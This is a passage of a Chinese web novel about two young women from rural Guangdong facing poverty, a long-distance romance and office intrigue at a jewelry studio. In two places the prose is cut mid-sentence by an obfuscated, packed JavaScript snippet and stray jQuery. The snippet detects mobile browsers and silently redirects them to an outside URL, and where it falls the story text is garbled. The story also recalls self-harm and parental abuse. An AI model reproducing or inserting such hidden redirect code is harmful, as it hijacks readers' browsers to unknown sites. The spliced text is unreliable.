昏黄路灯跟滤镜般撒了他满身,镀出灿然金边。
漫画般分割出的光与暗不够清晰,她看不出他是什么表情。
只看到他走至自己身边,用粤语低声唤她:“姐姐。”
一股电流般的酥麻从指尖窜进脑袋,林予星忍不住起了身鸡皮疙瘩。
胸口心脏骤然停止刹那,她睁大眼睛看他。
正要说话,就看到他唇角勾起淡淡笑意,眼底闪过狡黠:“雷系不系想我咁叫你?快点翻去训觉啦,眼一眯,咩梦都有。”
“……去死了雷。”
她就说他怎么可能叫她姐姐!都在这等着!
平白无故被调侃,互相怼两句后二人之间那点生疏顿时消解。
回到住处时,屋内虽暗淡,但窗口透上的灯光却足够看清大概。
按部就班洗澡睡觉,那张漫画草稿已从文件袋中抽出,静静放在书桌上没有动。
林予星躺在床上,大脑皮层在此刻异常活跃,明明已经很累,却仍是睡不着眼前无数画面跳跃,不是关于珠宝就是关于漫画。
她强迫自己闭上眼睛,不再去想太多。
翻了个身,用薄被盖住下半张脸蜷缩着睡。
躺着快半小时,她才迷迷糊糊睡过去。
枕边手机亮起,无声弹出消息。
[程芷琳:我现在才有空摸手机。我换工作了,顺带搬家,累死了。]
[程芷琳:你钱不够用的话要不要试试和我一样,超市十点打折会有临期菜卖。不过你十点十一点才下班,人家都关门了。]
[程芷琳:突然想到,有临期菜就有临期食品,看看万能的橙宝有没有?]
当然是有的。
给林予星发完消息程芷琳就开始搜索临期速食。
不仅有,还有很多。
下班回来的人不会有心思再去做饭,劳累过度后欲望被无限消耗,只剩下一个念头。
能维持生命体征就好。
程芷琳截图又发给她几张后放下手机,去处理一块钱买来的烂果。
锋利刀刃划开软绵绵的果皮,将苹果上腐坏的果肉挖掉,里面苹果芯还算完好,洗干净后,程芷琳咬了一口。
还好,能吃,就是口感差。
她慢慢吞吞咀嚼,品尝那熟过头后的甜腻。
晚饭没吃,她在等电饭锅把早上剩下的糯米鸡蒸热。
手机震动。
她以为是林予星大半夜没睡,打开一看,是自己男朋友。
现实中没见过面的男朋友。
从高中到现在谈了快八年的男朋友。
申城人,是个程序员,年纪比她大七岁,叫沈观止。
很有书卷气的名字。
高三那年,她跟着林予星跑去网吧,在那烟雾缭绕的环境下,她们第一次通过网络摄像头见到对方。
对比名字的惊艳,真人却显得很普通。
平平无奇的一张脸,看起来不至于令人反感,戴着个程序员标配的黑框眼镜,穿着格子衬衫,腼腆害羞,说话温柔。
没有见光死的两人,就这么隔着上千公里确定了关系,谈到现在。
而前几天,程芷琳因为工作不顺又要搬家对他语气不大好,单方面冷暴力下他却没有发脾气,耐着性子哄她。
直到今晚,他也在主动联系。
[沈观止:芷琳,我们见个面吧?]
[沈观止:这么久我们只在网上聊天,或许没有给足你安全感,隔着这么远,我也没办法照顾你。我想见你。]
我想见你。
程芷琳咀嚼苹果的动作顿住,心跳控制不住加速。
要见面吗?
从高中谈到现在,八年。
再过两年就是十年。
人生当中,十分之一的时间都给了他。
程芷琳静默许久,盯着电饭锅盖上凝结又落下的水。
“滴答——哒哒哒……”
连串水声融入水槽,那是最后一次洗菜剩下的水,还能拿来洗一次碗。
荷叶包裹的糯米鸡放在盘子里,旁边还有个剥壳的茶叶蛋。
手上裹着湿布将其端出,滚烫水蒸气沿着布块缝隙沾在指尖,烫得她将盘子放好后急忙去摸耳垂缓解。
等了会,她才再次忍着灼烫配合筷子一起,将蒸地发黄的荷叶展开,露出里面晶黄色糯米。经过二次蒸煮,它变得愈发软烂,拨开中间薄薄一层,里面香菇与鸡肉的香气飘出,盈满出租屋。
白炽灯下,油亮油亮的棕黑色冬菇切成不大不小的块状,与混了耗油、生抽、料酒等等调料炒制的鸡块窝在小小的糯米洞里,像动物囤积在洞穴内的冬日口粮。
残存的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919098|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生存环境下,四处可见的美食成为最后一道防线,不至于让人走上绝路。
程芷琳拿起筷子,吃下入夜以来第一口食物。
喷香柔糯,香菇流汁,鸡块烂到脱骨。肉香、米香、菇香统统在口腔混合,连同呼吸都是糯米鸡带来的清香。
一口接一口。
饱满盒形被筷子夹断,逐渐缩小。
等到糯米鸡吃完,茶叶蛋也吃下,程芷琳才拿起手机问:[什么时候?]
她也想见他。
八年时间,上千公里路程。
隔着屏幕与网线,他像是无数乙游里住在手机盒子里触摸不到的爱人。
除去偶尔给她买东西,寄快递,不用她氪金,他具体是个什么样的人她不知道。
是时候该见面了。
[沈观止:月底方便吗?我买机票过来。]
过了会,程芷琳才回答道:[好。]
已是深夜,四下只余虫鸣。
锅碗瓢盆洗净后放在架子上沥水。
熄灯后,程芷琳躺在床上翻来覆去睡不着觉。
一会在想见沈观止应该穿什么样的衣服好,一会想要是在月底之前没找到工作她就没钱了。
妹妹的学费全压在她身上。
弟弟高中读到一半就不读,现在出社会工作,十天半个月才联系一次。
父亲早逝,母亲在针织厂工作的钱存着给弟弟买房,哪会顾及她们姐妹俩呢?
程芷琳越想越睡不着,摁亮手机,刚想要点开招聘软件,就发现沈观止又给自己发了信息。
[沈观止:转账1000。]
[沈观止:你说你最近辞职,要找工作,又要给家里钱。我想,在这空白期你应该需要用钱。不要给自己太大压力了。(抱抱.jpg)]
这一刻,被看透的尴尬与被施舍的错觉令她感到羞愧,这手机仿佛漏电般电得她心脏不舒服。
她心中知道两人的差距。
一个在申城本地,有房有车,年入五十万。
一个在广东山城,什么都没有,家里给不了任何助力,甚至是拖累。
她们能在一起,是企鹅号成立发展后的随机结果。
如果不是高中时巧合加上,而是其他的场合,她真的能接触到这个阶级的人吗?
打开手机摄像头,闪光灯下,二十多岁少女面容出现在黑色屏幕中。
鹅蛋脸,长细眉,眼尾略微上挑的柳叶眼。
长得恰到好处的小翘鼻,薄厚适中的唇。
长至腰际的浅色棕发是少时营养不良遗留的痕迹,却刚好能营造出现下时兴的韩系氛围。
除了年轻和用化妆品打扮后的漂亮,她什么都没有。
刹那间,沮丧、自卑等等负面情绪达到顶峰。
可那又能改变什么呢?
她还是要给妹妹生活费,还是要管不成器的弟弟,身体日渐衰老的母亲。
程芷琳关掉摄像头,重新点开聊天框,调出九键键盘:[不用啦,我有存钱,你不用给我。]
她拼拼凑凑的自尊心不允许她跟沈观止要钱,也不允许卑微接受这样的好意。
沈观止是个好人,舍得为她花钱,可这并不能让她无休止地索要。
除非是逢年过节,花个几百块意思下,程芷琳平日从来没跟他要过任何东西。
她希望他们之间是平等的。
屏幕顶上时间已至凌晨。
她还从未这么晚睡过。
程芷琳刚想关掉手机,消息栏有一则信息跳出。
是以前学校舍友转发过来的招聘广告。
[诚聘会计一名,要求有一年以上会计经验,全日制本科学历。]
[年龄25-45左右,熟练使用财务、办公软件,有会计从业资格证。]
……
[本司有食堂,包吃,五险,双休,年终奖金。]
[工资3-4k。]
舍友问:[芷琳,你要去试试吗?我要离开佛城,去深城。这家公司还不错,老板也好说话,你要的话我内推给你。]
不说工作内容和要求,光是看到底下的条件对她来说也已足够。
程芷琳并不喜欢会计这份工作,但现下没办法,她只能以此谋生,于是迅速打字回复舍友:[好,你内推我吧,我可以明天下午去面试。]
在蜂窝里做外包员工真是让她受够了,又不是有编制的。到哪打工不是打工,还不如去新地方,不然每个月固定两千五工资真是饿又饿不死,攒又攒不下钱。
工作的事好歹有了眉目,且是舍友介绍。
她们同一起点,没有意外应该是能进的。
程芷琳想到这,松了口气,终于放下手机。
电量只剩10%的手机得以插上电源,平稳放置在床边。
程芷琳盯着头顶因下雨漏水变得斑驳的天花板,缓缓闭上眼睛。
辗转反侧大半宿,不知不觉间睡过去。
她甚至没有意识到自己在做梦。
熟悉的房间,熟悉的人,熟悉的物件。
高中时期的林予星坐在床边,腕上鲜血淋漓,长发下的双眼如封闭的深潭,死寂得可怕。
又一次。
再次。
她梦到林予星曾想了结的场景。
16.流沙包
林予星曾说过,她们这样的小孩成长必经之路可以总结成两句话:钱财上亏待,精神上虐待。
吃的喝的用的跟最差的比。
学习成绩要跟全年纪对比。
对大人来说,成绩好了就能得到高薪工作,带领全家鸡犬升天。
等到小孩钱攒的差不多,就给父母在乡下盖栋大别墅,出入有奔驰车,四五十多岁就能就地退休,再不用辛苦劳作。
兄弟姐妹都有体面工作,每个月就算不住家里也要交个一千块“家用”。
生的越多,得到的越多。
这就是她们山城父母想要的生活。
所谓多生几个弟弟妹妹将来也好有人跟老大商量,不过是他们最低成本的投资借口。
或许只有她们这样的广东小孩一出生就当作劳动力培养。
家长不会为之规划,女孩就更不要去想得到家里资源,不往家里输血已经是满五十减五十的优惠券。
想要得到和哥哥弟弟一样的待遇,退一步说让父母公平对待每个孩子都跟买彩票似的。
她们这类人大部分路是这么走的:幼儿园有钱就读,没钱就在田里楼里跟其他小孩玩,墙上贴个拼音图就算启蒙。等到一年级,全交由老师管,那个年代学生被老师扇巴掌体罚都是常事,就算告诉家长,家长也只会来上经典的一句。
——“怎么不扇别人就扇你呢?”
他们无条件信任老师,因为根本抽不出空管小孩,白天在工作,晚上要么在谁家打牌打麻将,要么睡荤觉,要么就在小孩面前玩在港城合法经营,但在她们内地违法的六花彩,企图一夜暴富。
等到九年义务教育结束,最大的分流点开始。
第一条路便是童工。
而童工在她们这并不罕见,更有甚者根本没人管。
她们在还未形成自己思想意识时就被家长丢去黑厂打黑工,一个月一千两千,半数都要以交家用的借口被收走。
到年纪就去嫁人,这边彩礼低,几千块一两万就可以带走,然后重复父母的生活。
第二条路是上中专。
和那些混混太妹一起,在最该被管教的时候得不到重视,关上三年流入社会,去做汽修、幼教、护士等等低薪却劳心劳力的工作。然后到年纪就去嫁人。
第三条路就是上大专大学。
去大城市工作,当牛做马,就像林予星和程芷琳。
一块钱的馒头都要分上、中、晚三顿。
熬出头后被逼着嫁人,不想嫁就离家远点。
而在第二条路时,山城女孩已被筛选去百分之五十,她们能突围而出,一个靠画画天赋,一个靠读书中上游成绩。
和她们同处一个年级的,不是在谈恋爱就是在嫁人生子的路上。
林予星在亲眼目睹过这些后,下定决心要离开这个地方,走的越远越好,可她始终放不下她的母亲。
林母身体不好,离婚后顾着工作没怎么管她,工作一旦不顺心或是太过劳累便会把气全撒在她身上,日积月累,成为伤疤。
即使如此,血缘关系不是那么容易就被斩断。
一个巴掌再给一颗蜜枣的反复拉扯下,她们就像被驯化的狗,可以三天两头在外捡垃圾吃,却始终不敢离家太远。
她们怀揣着父母给予的那么点爱活着。
哪怕是林予星也无法干净利落斩断这根精神脐带。
她说过最无奈的一句话也不过是。
"穷就不要生孩子了。"
林予星说这句话时脱了上衣,给程芷琳看她背上被藤椅砸出的伤口。
血淋淋的,在苍白的皮肤上像座红珊瑚,和她用水果刀切开的腕一样,流出诡谲凌乱的痕迹。
清晰的蝴蝶骨与脊柱仿佛绵延大山,干涸的山脚终于迎来暗红河流。
起初程芷琳不明白这句话的含义,直到出了社会,渐渐明白过来林予星其实很多话都说的挺对,而自己只是没有多想。
林予星没情商,做事冲动,不善交际,但却比她们看的都要通透。
撕开恩情亲情与爱的虚伪面纱,不过是一场交易。
算算山城培养孩子的钱,最多不过十万块,还是分期付款,九年义务下每学期学杂费不过几百块。
除去承受精神物质上的高压,身体上也在承受着。
牙齿蛀牙就忍着,眼睛近视就坐第一排,生病发烧去小诊所开药……
日后换取的利润却是林予星从未算过的。
养老保障、生病保险、家用费、生活费……
她们父母从她们身上得到的,比起他们给予的,要多的多。
六花彩还有不中彩的时候,生孩子生多了却是几乎达到百分之百必中的投资。
她絮絮叨叨说了许多,忽而转过身,眼底是平静到令人心慌的死寂。
下一秒,身体化为一摞伴着骨灰的钞票。
指甲敲击在键盘上,程芷琳浑浑噩噩从床上惊醒,背上全是汗,第一条信息发给了她。
[林予星,你今天上班吗?]
她止不住担心、忧虑。
拿着梦与现实是相反的话安慰自己许久,这才让过快的心跳平复。
夏季炎热,过了最后一波冷空气后便是台风。
早上醒来时,拉着窗帘缝隙也不透光。看天气预报,说是阴天。
可是阴天怎么也这么闷热?
看了看顶上悬挂的空调机显示五级耗电,程芷琳默默爬起来开风扇。
出租屋里似乎凝固的潮湿空气通过扇叶开始缓速流转,虽然还是很热,但好歹呼吸间不会像被湿棉花堵住了。
程芷琳吹了会,等到身上汗干些这才重新躺下。
想睡回笼觉睡不着,闭上眼睛又全是暗红色,她干脆起来去洗个澡。
花洒喷出温热水线,浇淋在脑袋上,等到淋在身上已变得略带凉意。
仅开一条细缝的窗外渗入闷湿暖风,与浴室内大量水气混作一处,呼吸再度像堵上湿棉花。
淅淅沥沥的水持续淋下,空气中加入其他气味。
洗发水、沐浴露、洗面奶……
浴球、背刷、鲨鱼夹……
等洗好后已是半个小时。
毛巾裹上头发,再坐到风扇前,总算感受到凉快。
手机震动。
回她的却不是林予星,而是她在学校时的舍友。
[对方分享给您一个地址。]
[我和hr说了,你下午可以过去面试下。]
[程芷琳:好,太谢谢你了。有空我请你吃饭。]
[舍友:不用客气。不过跟你说下,阿伟还在跟我打听你毕业后去了哪。我没告诉他。]
程芷琳看到那两个字,皱起眉。
阿伟是以前她在大学时认识的同班同学。
很普通的一个男生,没什么亮点,追她追的很凶,听她说男朋友了也没放弃。
都已经毕业这么久,还打听自己做什么呢?
[程芷琳:哈哈,那你还是别说了。我男朋友月底来佛城。]
舍友随机发来一句调侃:[真有这个人啊,我还以为你虚构的呢。]
网恋这么多年,现在才见面,确实像穷死之前的幻想。
程芷琳不怪她们会这么调侃,连林予星都吐槽自己像谈了个虚拟人。
两人又聊了几句,楼下隐约传来叫卖声。
三轮车碾过减速带,进入自建房周围的空地,吸引周围人前去购买。
她边与舍友随意聊天,边用吹风机吹头发。
等到干的差不多,她戴了个口罩出门买早餐。
没到九点,前去买早餐的都是中老年人。
林予星抬头去看小推车上的早餐和价目栏。
炒粉炒面炒河粉,不太想吃。
再往右边看,各种粥点,有点吃不饱。
往下看,在各个老人家打颤的腿间,以各种角度查看文字。
"老板,要两个流沙包和一份豆浆。"程芷琳点完早餐,掏出现金,"多少钱?"
老板动作利索地从摞起的蒸笼里找到客人所需并打包。
塑料袋声算账声没有停过,还要应付眼神不好的老人。
"两个流沙包三块,豆浆一块,四块。"老板迅速抓过程芷琳递来的五块钱,给她找了一块钱后继续打包。
程芷琳提上塑料袋,快步走回出租屋。
桌上手机适时亮起,这次总算是林予星。
[X:除了周日,我都在上班。]
[X:打哈欠.jpg]
[X:这么早找我啥事?]
[程芷琳:梦到你了,哈哈。]
她想了想,隐去梦到林予星高中发生的事,用沈观止月底就来的事盖过去。
林予星比她还激动,连发五条过来嘱咐她要注意安全,别被男人骗,有什么事记得报警或者找她之类的云云。
防范意识可以说是很足了。
网络奔现,横跨上千公里路程,确实会让人不放心。
隐藏在屏幕另一侧的人究竟是真是假谁都说不准。
可程芷琳信他,信他与自己说的一切。
沈观止总不会用八年时间和金钱来骗她。
放下手机,程芷琳去吃热腾腾的流沙包。
明黄色的圆润包子,刚打开塑料袋就散出热气,像中秋时节的圆月,雾气成云,顷刻间飘散。稍稍掰开一点散热,里面流心的馅料迫不及待流出,想缓缓烫再吃都不行。
甜度控制的恰到好处,咬下一口便是满嘴蛋黄香气。
流馅与外层包子皮混合,有种奇异的香气,仿佛回到乡下晒稻谷的季节,鸡爪踩过晾晒的谷堆,刚啄食没几次就被主人家赶走,循着母鸡的爪印追去,才发现它在不远处的窝里下了五六颗圆润鸡蛋。
那样的生活近而又近,远而又远,已经过去十几年,却在吃到流沙包这天仍旧清晰想起。
程芷琳侧过头去看放在墙角的全身镜,净亮的镜面清晰映出她的身影。
不做农活很久的女孩已渐渐将黝黑肤色养回,如今是寻常的麦色。
可手脚遗留下的伤痕还在,常年劳作的粗糙双手不论是用盐还是用牛奶,都没办法养回。腿上镰刀留下的疤已经变成很浅很浅的白痕,不仔细看根本看不出。
但依旧无法达到她心中的目标。
她羡慕林予星的天生白皮,在昏暗室内,第一眼注意到的永远是昙花似的人。
屋外下起雨,程芷琳凝视镜子里的人想了许多许多,想下午的面试,想沈观止,想林予星,想自己,想到微微眩晕。
拍打在窗台的雨水溅入,直至糊满半片镜子,将里面的人晕成模糊色块。
发黄的玻璃人影摇晃,再看去时,影影绰绰变得愈发不清晰。
直到犹豫着走近,这才映出清纯苍白的脸和纤瘦的骨架。
林予星站在饮水机后悄悄往里看,目光透出疑惑。
普兰顿工作室会客室内,才哥女朋友悦姐正在里面翻阅文件。
大波浪卷发,穿着明媚的柠檬黄休闲服,爽朗干练
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953298|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,很有港女的利落感。
站起来时,身高应该将近一米八,压了才哥半个头。
她想不通,这样的女人怎么会看上才哥。
还有另外一个……
林予星偷偷侧过脸去看在工位上阴沉着脸的佳佳,又去看指导佳佳如何修改的周栗。
好诡异。
从悦姐来了之后气氛沉闷不少。
连她这么迟钝的人都觉出不对劲。
水杯内的水接满,"咚咚哒哒"即将溢出。
林予星忙将脑袋扭出来,松开开关,直起身时不小心和悦姐目光对上。
会客室的人目光探究往她身上扫,随即收回视线,重新放回文件。
等林予星离远,悦姐才开口问对面的男人:"新来的那个皮肤很白的,画的怎么样?"
"没注意。"才哥懒散躺在沙发上,将吸到一半的烟摁进烟灰缸。
"没注意?"悦姐冷笑,"那天晚上正好在整理监控U盘,还真是让我不小心看到了点东西,你确定没注意?"
才哥沉默,他没有回答,翻了个身继续看杂志。
头顶灯光昏沉洒下,只看到他紧握书脊,手背青筋略浮。
"看来,只有我去看看她画的怎么样了。"悦姐放下文件,正要起身时才听到他说话。
"喂,不要找人家麻烦。她画的还可以,毕竟美术生,你想看让周栗给你拿进来。"
悦姐看他一眼,这个自己从读书时期就追求的男人正坐起来望着她,凌乱的头发下神情有些紧张。
他总算不再装看杂志看得专心,再次摆出那副令她熟悉且憎恨的怯弱。
过往种种在脑海中浮现,这已经不是第一次,以往是应届生主动,这次来的这个……
玻璃门被推开,才哥立时站起,杂志掉在地上也没人去管。
他往前大跨一步,想去抓住她,柠檬黄衣料在他手中溜走,余下一手娇兰香水的花香。
浑浊的会客室门晃了两晃,重新关上。
屋外闷湿空气流入,有股泥土的腥气。
周栗看到悦姐走来,从佳佳身边站好,见她脸色不大对,忙扬起微笑问:"悦姐,这两天周哥的金模工厂那边快出来了吗?我想让她们看一看,能更好理解。"
冲上头的情绪在周栗若有似无的阻拦中得到缓冲,悦姐冷静下来,去看周栗背后的林予星。
她也恰好抬头看过来,二人目光再次在半空中对视。
这下连悦姐都不得不承认,这小白花长相是真漂亮,身为女人的她都不自觉多看两眼。
林予星好奇盯着她,同时闻到凝滞空气中多出的花香。
她多吸了两口,这香调温暖又柔和,远不是街边几十几百块香水能比的。
"下午就送过来。"悦姐心不在焉回答,看着林予星偷闻香水的模样,不知怎的,想起家里那只美短猫,再看女孩眼中并无她从前看过的敌对或是探究,她莫名放下大半心。
"你学美术的?"悦姐越过佳佳,越过周栗,走到林予星身边。
两人近距离观察对方,她的视线也从林予星的脸上转移到画上。
牛皮纸正中有个鹌鹑蛋大小的白底,林予星正在等它晾干。
听到悦姐问起,她"嗯"了声,去拿自己之前画的图,放到悦姐手边:"你要看看吗?"
当然是要的。
工作室三个股东,或多或少涉猎设计以及鉴定版块。
换句话说,就算不会,在某个行业深耕多年,宝石翡翠上手,多少能讲出些门道。
而设计能力,是最直观的。
悦姐拿起纸张,上面画的是对尖晶石耳坠。透过稀薄颜料,耳钉部分为叶子,下方延伸花与藤蔓,极为浪漫自然的画风。
她再去翻阅林予星其他设计图,一张接一张,肉眼可见的进步。
阿才不是个愿意教人的性格,深信“教会徒弟,饿死师父”这句谚语。
只有周栗会将自己所学教给实习生,这样才能分担工作。
无数次,她跟阿才提过,既然把实习生收下就好好对人家,教些东西。他嘴上答应的好好的,却一次都没履行。
这家工作室,她管的更多的是成品制作,前方设计还有客户维护都没有插手。
作为实习生来说,林予星已经做的很好。
她有种预感,这女孩不会在工作室呆太久。
工作室发展有限,离开广城,去深城或是申城等等更繁华的城市是更好的选择。
“挺不错。”想起周栗跟自己说的那些,悦姐放下设计图,“好好学,多看货品,能依靠货品估算镶嵌价格和客户心里价位会更得心应手。”
“好,我会学的。”林予星收回稿纸。
眼角余光有一瞬与某人对上,穿过悦姐手臂与腰际之间缝隙,她侧头看去。
会客室玻璃门后,才哥叼着烟望着她们。
而佳佳低头画图的脸色愈发难看。
林予星下意识往周栗那边看,她坐在自己工位,眼神有些意味深长。
灵光一闪。
今天所有诡异反常的事都有了解释。
不是,这也太狗血了……
林予星内心汹涌,面上还要装作平静。
她总算明白周栗说的“你自己观察”到底是什么意思。
佳佳可能、也许,喜欢才哥?
才哥有女朋友,却到处撩骚。
悦姐通过摄像头观察全局,以为才哥目标是她,今天其实是来……
宣示主权?
17.鸡公榄
一个刚出社会的女孩暗恋上级是什么样子?
总是拿着画稿等由头去问早已知道的事。
每次上级路过都会抬头看他。
有事没事喊上级名字。
悦姐自那日出现请大家吃了顿酸菜鱼后又消失了,听周栗说是回香港与合伙人准备六月份珠宝展。
她不在,佳佳便如浮出水面的水蛇,被无辜殃及的林予星捕捉到几分端倪。
“珠宝展是什么样子的啊?”佳佳好奇问。
“九月份如果你还在,可以去看看。”
周栗如今对她态度冷淡许多,只维持表面和平,但又看不大出,只有林予星注意到后才觉察出的淡。
佳佳莞尔笑道:“那我是肯定在的,到时候才哥、華哥会跟着我们一起吗?”
"嗯,会一起。"周栗喝了一口花茶,慢悠悠道,"悦姐也在,毕竟这工作室她与華哥投资的。才哥……我们可以学下他现场出图的能力。"
她话里意思朦朦胧胧,林予星眼珠从佳佳画稿移到周栗脸上,她没有看她,林予星便将目光收回,又转回原处。
大脑在这刻迅速转动,结合以前周栗与自己说的那些。
意思是工作室三人各有分工,出钱的是悦姐和華哥,才哥只是出力的。
三人利益捆绑,尤其是悦姐和才哥,不是那么容易……
林予星抬头去看佳佳。
她恰好在盯着自己,林予星顿时有种被抓包的错觉。
"予星,你教的这个宝石刻面我怎么觉得,没有才哥画的好看?"佳佳还是笑着的,只是笑意并未带动上半张脸,便成了假而僵硬的笑。
周栗听到这句,皱起眉,不动声色去看两人。
林予星第一天来她就对她印象很好,相处下来人也不错,好学话不多,和工作室两个男人说话接触也有分寸。
原以为朱彩佳也是个单纯的毕业生,结果心思走歪。
想给她矫正回来,话里话外暗示这么多次,一次没听就算了,现在还把矛头指向林予星。
同样身为女性,她大概能猜出佳佳在想什么。
林予星进步肉眼可见,开悟后的人一天一个样。才哥有意无意注意着她,悦姐初次来对她和颜悦色,顺口指点两句。佳佳心里不平衡,多少是要找点麻烦。
现在就看林予星要怎么应付。
向来话不多的林予星这是第一次在普兰顿面对实习生直面刺来的恶意,她愣了一下,手指不自觉向内蜷缩。
想了想,她做出回答:"嗯,可能我不太适合教人吧。我画东西都是凭手感,你也可以找找先。我先画我的图了,有什么不懂的你还是先问才哥吧,我怕我误人子弟。"
林予星说这话时没有阴阳的意思,有点像在开玩笑的语气,大大方方的承认自己靠不住。她脸上表情也看不出有负面情绪,借着椅子底下滑轮,倒推回自己座位。
佳佳没想到她这么干脆,立刻补救:"我不是那个意思,我只是觉得,你说的我感觉太复杂,我有时候听不懂。"
"我知道呀,放心啦。不过我确实不适合教人,你看我颜料都干了,都是补救的痕迹。"林予星笑着举起旁边干透的设计图。
层层叠叠的水彩颜料,混合水粉,罅隙多的像被烈日炙烤的大地,龟裂出细密痕迹,远看还不觉得,细看下发灰发脏。
但发灰发脏都是很好解决的事。
若是发灰,就减少画面灰色部分,勇敢点用色,把对比拉开,饱和度对比拉高。
若是发脏,就少用些乱七八糟色调,结合调整发灰的技巧,将色调冷暖放到合适的位置。
要是其他地方发灰发脏,可就没有画面这么好解决了。
周六夜晚下班时下起雨,透过玻璃门往外看,对面斑驳墙壁被水溅满脏兮兮的灰。
工作室内关着四个人,凑不出一把能用的伞。
好不容易等到雨势减弱,淅淅沥沥,而后变成毛毛细雨。
电光闪过,如同接触不良的灯泡,忽明忽暗。
雷声沉闷,后半夜怕是会再下一场。
今天又是快忙到十一点下班。
林予星迅速收拾好包,和周栗一起赶往地铁站,忽然她发现自己钥匙没带,只好和周栗说一声让她先回家后独自折返回去。
这一路上,林予星心中祈祷才哥可千万要像从前那样凌晨一两点才离开工作室,顺带在朋友圈发心灵鸡汤,不然她今晚要露宿街头了。
似乎是听到她内心祈祷,普兰顿工作室还亮着灯。
林予星提速,正要走过去打开那扇大门,耳边忽然听到些不同寻常的动静。
"卡哒哒——"
像是有人踩到什么空壳硬物。
不等她分辨出声音来源,"咚!"一声巨响,黑色人影被按在距离她不过一米的玻璃上。
林予星吓了一跳,侧过身去看,还没意识到自己看到什么,身体比脑子更快做出反应。她猛地蹲下,躲到底下消防栓旁装作是一袋垃圾。
"嗯……啊……"
"别叫那么浪。"
"那你,慢点……"
"你真喜欢我?什么时候?"
"喜欢,刚来就喜欢。你,很有才华……"
"我和阿華你更喜欢谁?"
"你,一直都是你。"
草!
草!
草!
……
林予星骤然吃到一口大瓜,脑子一片空白。
等到里边转移阵地,她把单肩包挂脖子上,悄无声息抵着墙,用鸭子步慢慢爬开。
直到跑出巷子,转过拐角,她把自己埋进烟酒行旁边自动贩卖机盘的缺口,冷静了会,立刻从包里拿出手机。
她几乎是无意识地随意选了个号码拨通,等看清屏幕上是程芷琳名字后立刻挂断,想去找周栗的号码,通讯录里翻到底,才想起自己压根没有存她的号码。
而这时程芷琳正巧回拨,林予星点了挂断,怕她担心自己,微信发过去一句:[等会再跟你说。]
也不知道对方回没回,她翻到周栗微信,迅速点下电话图标。
"噔噔噔噔噔噔~"
第一声,无人接听。
"噔噔噔噔噔噔~"
第二声,手机再度震动,震得整个包都在抖。
准点到达的地铁从黑洞中呼啸而过,刺地耳膜疼。
亮起的手机在一堆杂物中被拿出,林予星的声音传入耳中。
"叮咚,叮咚——"
"请先下后上,注意站台与列车之间的空隙。"
地铁门外,周栗跟随人流上了车,背景音杂乱,雪花碎般的响动从那端传来。
"予星,你先回家。"
"不要和任何说这件事,我来解决。"
"放心,我不会说是你,你就当什么都不知道。"
当什么都不知道。
如果真能做到就好了。
地铁窗外闪过一面面广告牌,犹如走马灯。
那些她难以觉察到的异常悉数浮现眼前。
女孩若有似无的试探。
男人尽数接收的暗示。
指导如何画三视图时暗暗勾连的尾指,一触即分。
发梢扫过男人半解衬衫胸口,痒意伴随无法言说的暧昧。
自上而下的半包围姿势,气息交融,喷出的白烟扫过女孩耳尖。
男人低头时看的究竟是画稿还是女孩领口下饱满的胸脯?
林予星低头去看,两只交尾完成的灰白蛾子泡在路灯下的污水中,翅膀有气无力扇动两下后彻底被水浸死。
下水道堵了,附近枯叶飘在水面,小区内保安大爷巡逻到这,闲着没事去挖通那些堵在下水口的脏物。
疏通就在那么一瞬间,水流动了,蛾子也动了。
它们的尸体和污浊雨水一起慢慢吞吞流入黑暗。
"滴滴——"
有电动车在身后响起。
林予星回过神来,避让到一边,脑子还在想着过完这周,下周一会发生什么。
她相信周栗不会说出去,但这工作室里佳佳和才哥的事是绕不过去了。
她该怎么面对他们?
"妹妹仔,这么晚怎么还在这?"身后半熟不熟女音响起。
林予星侧过头去看,就看到刘杰老婆萍姐开着电动车驶过来,这电动车还是上次刘杰开着撞她那辆。
"哦,我在……"林予星顿住,她在做什么?
工作室那对野鸳鸯带来的冲击太大,她现在都没缓过来。
钥匙没带,她还没来得及联系黎嘉年问问他有没有备用钥匙。
打开手机,一看时间,离十二点就差几分钟。
早睡早起的人这个点估计都睡了。
"我准备回去,刚刚在路上买了点橘子,给你两个吧。"林予星说着,去掏单肩包里的水果。
借着路灯,橘子变成黄皮果。
两人都沉默了。
萍姐去看林予星尴尬表情,疲惫的脸上难得浮起笑:"你最近是不是太累了?我经常看到你晚回家,你还年轻,做点不用加班的工作嘛。"
"我在实习期,没办法,多学点东西。"林予星边说,边分出些黄皮果递给她,"上次的酸奶,谢谢萍姐。"
"哎呀,不用这么多。"萍姐推拒,反倒从电动车踏板那一袋子吊牌里拿出小包鸡公榄给她,"尝尝吧,我自己做的。"
望着塑料袋中透黄橄榄,还没吃,那股熟悉的味道就已在口腔中蔓延。
每到过年或是嘴馋,她母亲总会在家里特产店买上这么一捧回家吃,果肉吞下后时隔许久,甘草腌制的白榄依旧有回甘从舌根处蔓延。
林予星不想拒绝,将黄皮放到萍姐电动车上,欣然收下这包鸡公榄。
“早点回家。”萍姐看着她,眼中透出几许复杂,“天天这么晚,注意安全。”
“嗯,好。”她点头。
当电动车消失在屋檐下,车尾灯熄灭,小区再度恢复安静。
保安大爷洗干净双手后继续拿着手电筒到处巡逻。
